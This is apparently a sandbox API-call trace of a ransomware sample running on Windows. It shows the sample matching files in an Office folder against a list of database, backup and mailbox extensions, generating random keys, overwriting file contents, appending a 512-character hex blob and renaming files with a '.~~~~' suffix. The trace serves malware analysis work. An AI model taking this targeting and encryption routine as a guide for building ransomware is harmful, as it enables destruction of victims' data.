	[0079.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".MYD") returned 0x0
	[0079.088] lstrlenW (lpString=".DBT") returned 4
	[0079.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".DBT") returned 0x0
	[0079.088] lstrlenW (lpString=".ACCDB") returned 6
	[0079.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".ACCDB") returned 0x0
	[0079.088] lstrlenW (lpString=".fdb") returned 4
	[0079.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".fdb") returned 0x0
	[0079.088] lstrlenW (lpString=".bak") returned 4
	[0079.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".bak") returned 0x0
	[0079.088] lstrlenW (lpString=".myd") returned 4
	[0079.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".myd") returned 0x0
	[0079.088] lstrlenW (lpString=".DTXS") returned 5
	[0079.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".DTXS") returned 0x0
	[0079.089] lstrlenW (lpString=".ckp") returned 4
	[0079.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".ckp") returned 0x0
	[0079.089] lstrlenW (lpString=".dbt") returned 4
	[0079.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".dbt") returned 0x0
	[0079.089] lstrlenW (lpString=".db") returned 3
	[0079.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".db") returned 0x0
	[0079.089] lstrlenW (lpString=".TXT") returned 4
	[0079.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".TXT") returned 0x0
	[0079.089] lstrlenW (lpString=".MDF") returned 4
	[0079.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".MDF") returned 0x0
	[0079.089] lstrlenW (lpString=".bdb") returned 4
	[0079.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".bdb") returned 0x0
	[0079.089] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0079.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0079.089] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0079.089] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0079.089] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0079.090] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0079.090] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0079.090] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0079.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0079.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x39b740
	[0079.091] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=19908075232) returned 1
	[0079.091] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9900f990, dwHighDateTime=0x1d60e1e)) 
	[0079.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0079.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0079.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0079.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b410
	[0079.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0079.091] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b410 | out: hHeap=0x300000) returned 1
	[0079.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0079.091] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0079.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b60d0
	[0079.091] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0079.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0870
	[0079.091] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b60d0 | out: hHeap=0x300000) returned 1
	[0079.091] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0079.092] GetLastError () returned 0x0
	[0079.092] GetLastError () returned 0x0
	[0079.092] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0079.092] GetLastError () returned 0x0
	[0079.092] GetLastError () returned 0x0
	[0079.092] ReadFile (in: hFile=0x134, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x25dfec0*=0x2d88, lpOverlapped=0x0) returned 1
	[0079.094] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xffffd278, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0079.094] WriteFile (in: hFile=0x134, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x2d88, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x25dfec0*=0x2d88, lpOverlapped=0x0) returned 1
	[0079.094] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0079.095] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0079.095] WriteFile (in: hFile=0x134, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0079.095] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0079.095] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0079.095] CloseHandle (hObject=0x134) returned 1
	[0079.095] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0079.095] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll.~~~~")) returned 1
	[0079.096] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5018 | out: hHeap=0x300000) returned 1
	[0079.096] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0079.096] GetLastError () returned 0x0
	[0079.096] RtlWakeConditionVariable () returned 0x365f70
	[0079.096] GetCurrentThreadId () returned 0x9f4
	[0079.096] GetCurrentThreadId () returned 0x9f4
	[0079.096] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6b50
	[0079.097] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6df0 | out: hHeap=0x300000) returned 1
	[0079.097] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b448 | out: hHeap=0x300000) returned 1
	[0079.097] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6df0
	[0079.097] lstrlenW (lpString=".scr") returned 4
	[0079.097] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".scr") returned 0x0
	[0079.097] lstrlenW (lpString=".cmd") returned 4
	[0079.097] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".cmd") returned 0x0
	[0079.097] lstrlenW (lpString=".dll") returned 4
	[0079.097] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".dll") returned 0x0
	[0079.097] lstrlenW (lpString=".bat") returned 4
	[0079.097] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".bat") returned 0x0
	[0079.097] lstrlenW (lpString=".cpl") returned 4
	[0079.097] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".cpl") returned 0x0
	[0079.097] lstrlenW (lpString=".sys") returned 4
	[0079.097] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".sys") returned 0x0
	[0079.097] lstrlenW (lpString=".msc") returned 4
	[0079.097] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".msc") returned 0x0
	[0079.097] lstrlenW (lpString=".com") returned 4
	[0079.097] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".com") returned 0x0
	[0079.097] lstrlenW (lpString=".lnk") returned 4
	[0079.097] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".lnk") returned 0x0
	[0079.097] lstrlenW (lpString=".msp") returned 4
	[0079.097] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".msp") returned 0x0
	[0079.097] lstrlenW (lpString=".pif") returned 4
	[0079.098] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".pif") returned 0x0
	[0079.098] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0079.098] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch="msp\r\n.pif") returned 0x0
	[0079.098] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
	[0079.099] lstrlenW (lpString=".sqb") returned 4
	[0079.099] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".sqb") returned 0x0
	[0079.099] lstrlenW (lpString=".ost") returned 4
	[0079.099] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".ost") returned 0x0
	[0079.099] lstrlenW (lpString=".txt") returned 4
	[0079.099] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".txt") returned 0x0
	[0079.099] lstrlenW (lpString=".mdt") returned 4
	[0079.099] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".mdt") returned 0x0
	[0079.099] lstrlenW (lpString=".BDB") returned 4
	[0079.099] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".BDB") returned 0x0
	[0079.099] lstrlenW (lpString=".eql") returned 4
	[0079.099] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".eql") returned 0x0
	[0079.099] lstrlenW (lpString=".DBF") returned 4
	[0079.099] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".DBF") returned 0x0
	[0079.099] lstrlenW (lpString=".EQL") returned 4
	[0079.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".EQL") returned 0x0
	[0079.100] lstrlenW (lpString=".FDB") returned 4
	[0079.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".FDB") returned 0x0
	[0079.100] lstrlenW (lpString=".EDB") returned 4
	[0079.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".EDB") returned 0x0
	[0079.100] lstrlenW (lpString=".DACPAC") returned 7
	[0079.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".DACPAC") returned 0x0
	[0079.100] lstrlenW (lpString=".VHD") returned 4
	[0079.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".VHD") returned 0x0
	[0079.100] lstrlenW (lpString=".DBV") returned 4
	[0079.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".DBV") returned 0x0
	[0079.100] lstrlenW (lpString=".dacpac") returned 7
	[0079.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".dacpac") returned 0x0
	[0079.100] lstrlenW (lpString=".sdf") returned 4
	[0079.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".sdf") returned 0x0
	[0079.100] lstrlenW (lpString=".accdb") returned 6
	[0079.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".accdb") returned 0x0
	[0079.100] lstrlenW (lpString=".DBX") returned 4
	[0079.204] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".DBX") returned 0x0
	[0079.221] lstrlenW (lpString=".MDT") returned 4
	[0079.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".MDT") returned 0x0
	[0079.221] lstrlenW (lpString=".SQB") returned 4
	[0079.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".SQB") returned 0x0
	[0079.221] lstrlenW (lpString=".vhd") returned 4
	[0079.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".vhd") returned 0x0
	[0079.221] lstrlenW (lpString=".bac") returned 4
	[0079.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".bac") returned 0x0
	[0079.221] lstrlenW (lpString=".mdf") returned 4
	[0079.222] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".mdf") returned 0x0
	[0079.222] lstrlenW (lpString=".BAK") returned 4
	[0079.222] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".BAK") returned 0x0
	[0079.222] lstrlenW (lpString=".BAC") returned 4
	[0079.222] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".BAC") returned 0x0
	[0079.222] lstrlenW (lpString=".dbs") returned 4
	[0079.222] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".dbs") returned 0x0
	[0079.222] lstrlenW (lpString=".vhdx") returned 5
	[0079.222] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".vhdx") returned 0x0
	[0079.222] lstrlenW (lpString=".NDF") returned 4
	[0079.222] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".NDF") returned 0x0
	[0079.222] lstrlenW (lpString=".dat") returned 4
	[0079.222] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".dat") returned 0x0
	[0079.222] lstrlenW (lpString=".DBS") returned 4
	[0079.222] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".DBS") returned 0x0
	[0079.222] lstrlenW (lpString=".CKP") returned 4
	[0079.222] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".CKP") returned 0x0
	[0079.222] lstrlenW (lpString=".edb") returned 4
	[0079.222] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".edb") returned 0x0
	[0079.222] lstrlenW (lpString=".PST") returned 4
	[0079.222] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".PST") returned 0x0
	[0079.222] lstrlenW (lpString=".dbf") returned 4
	[0079.222] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".dbf") returned 0x0
	[0079.223] lstrlenW (lpString=".SQL") returned 4
	[0079.223] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".SQL") returned 0x0
	[0079.223] lstrlenW (lpString=".pst") returned 4
	[0079.223] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".pst") returned 0x0
	[0079.223] lstrlenW (lpString=".dbv") returned 4
	[0079.223] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".dbv") returned 0x0
	[0079.223] lstrlenW (lpString=".SDF") returned 4
	[0079.223] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".SDF") returned 0x0
	[0079.223] lstrlenW (lpString=".dtxs") returned 5
	[0079.223] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".dtxs") returned 0x0
	[0079.223] lstrlenW (lpString=".db3") returned 4
	[0079.223] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".db3") returned 0x0
	[0079.223] lstrlenW (lpString=".OST") returned 4
	[0079.223] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".OST") returned 0x0
	[0079.223] lstrlenW (lpString=".dbx") returned 4
	[0079.223] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".dbx") returned 0x0
	[0079.223] lstrlenW (lpString=".DB3") returned 4
	[0079.223] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".DB3") returned 0x0
	[0079.223] lstrlenW (lpString=".DAT") returned 4
	[0079.223] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".DAT") returned 0x0
	[0079.223] lstrlenW (lpString=".VHDX") returned 5
	[0079.223] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".VHDX") returned 0x0
	[0079.223] lstrlenW (lpString=".ndf") returned 4
	[0079.223] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".ndf") returned 0x0
	[0079.223] lstrlenW (lpString=".DB") returned 3
	[0079.223] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".DB") returned 0x0
	[0079.224] lstrlenW (lpString=".sql") returned 4
	[0079.224] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".sql") returned 0x0
	[0079.224] lstrlenW (lpString=".MYD") returned 4
	[0079.224] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".MYD") returned 0x0
	[0079.224] lstrlenW (lpString=".DBT") returned 4
	[0079.224] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".DBT") returned 0x0
	[0079.224] lstrlenW (lpString=".ACCDB") returned 6
	[0079.224] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".ACCDB") returned 0x0
	[0079.224] lstrlenW (lpString=".fdb") returned 4
	[0079.224] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".fdb") returned 0x0
	[0079.224] lstrlenW (lpString=".bak") returned 4
	[0079.224] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".bak") returned 0x0
	[0079.224] lstrlenW (lpString=".myd") returned 4
	[0079.224] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".myd") returned 0x0
	[0079.224] lstrlenW (lpString=".DTXS") returned 5
	[0079.224] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".DTXS") returned 0x0
	[0079.224] lstrlenW (lpString=".ckp") returned 4
	[0079.224] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".ckp") returned 0x0
	[0079.224] lstrlenW (lpString=".dbt") returned 4
	[0079.224] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".dbt") returned 0x0
	[0079.224] lstrlenW (lpString=".db") returned 3
	[0079.224] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".db") returned 0x0
	[0079.224] lstrlenW (lpString=".TXT") returned 4
	[0079.224] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".TXT") returned 0x0
	[0079.224] lstrlenW (lpString=".MDF") returned 4
	[0079.225] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".MDF") returned 0x0
	[0079.225] lstrlenW (lpString=".bdb") returned 4
	[0079.225] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".bdb") returned 0x0
	[0079.225] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0079.225] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0079.225] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0079.225] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0079.225] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0079.226] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0079.226] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0079.226] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0079.226] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0079.226] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2809400
	[0079.226] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=19921655788) returned 1
	[0079.227] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x991665f0, dwHighDateTime=0x1d60e1e)) 
	[0079.227] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
